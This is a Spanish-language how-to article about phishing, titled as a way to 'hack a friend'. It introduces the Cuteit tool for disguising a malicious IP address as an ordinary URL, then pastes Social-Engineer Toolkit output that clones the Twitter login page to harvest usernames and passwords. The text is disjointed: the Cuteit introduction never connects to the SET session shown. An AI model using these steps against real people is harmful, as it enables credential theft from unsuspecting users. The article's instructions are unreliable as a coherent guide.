Cómo convertir cualquier dirección IP maliciosa a URL normal y hackear a un amigo

Los ataques de phishing se han vuelto muy comunes y la mayoría de las grandes compañías son objetivos frecuentes. En los cursos de ethical hacking del Instituto Internacional de Seguridad Cibernética (IICS) se muestran muchos métodos para realizar ataques de phishing. A continuación, mostraremos una herramienta llamada Cuteit.

Investigadores del curso de ethical hacking del IICS mencionan que Cuteit es una herramienta especialmente diseñada para ocultar una IP maliciosa utilizable en pentesting de redes.

Cuteit está diseñado para convertir direcciones IP maliciosas en URL regulares; es un simple script de Python que ayuda al atacante a hacer que la IP maliciosa se vea como una IP normal. Para las pruebas, hemos empleado esta herramienta en Kali Linux 2018.4.

 The first method will allow SET to import a list of pre-defined web
  applications that it can utilize within the attack.
 The second method will completely clone a website of your choosing
  and allow you to utilize the attack vectors within the completely
  same web application you were attempting to clone.
 The third method allows you to import your own website, note that you
  should only have an index.html when using the import website
  functionality.

 --- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * ---
 The way that this works is by cloning a site and looking for form fields to
 rewrite. If the POST fields are not usual methods for posting forms this
 could fail. If it does, you can always save the HTML, rewrite the forms to
 be standard forms and use the "IMPORT" feature. Additionally, really
 important:
 If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL
 IP address below, not your NAT address. Additionally, if you don't know
 basic networking concepts, and you have a private IP address, you will
 need to do port forwarding to your NAT IP address from your external IP
 address. A browser doesns't know how to communicate with a private IP
 address, so if you don't specify an external IP address if you are using
 this from an external perpective, it will not work. This isn't a SET issue
 this is how networking works.
  • Teclee 192.168.1.8
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.8]:192.168.1.8

 [] Cloning the website: https://twitter.com/login [] This could take a little bit…


The best way to use this attack is if username and password form
 fields are available. Regardless, this captures all POSTs on a website.
 [] You may need to copy /var/www/ into /var/www/html depending on where your directory structure is.
 Press {return} if you understand what we're saying here.

  • Como puede ver, puede obtener fácilmente el nombre de usuario y la contraseña del objetivo

Si se crean páginas normales de phishing, hay menos posibilidades de que el objetivo abra esa página. Esta herramienta ayuda a convertir direcciones IP maliciosas en URL regulares.
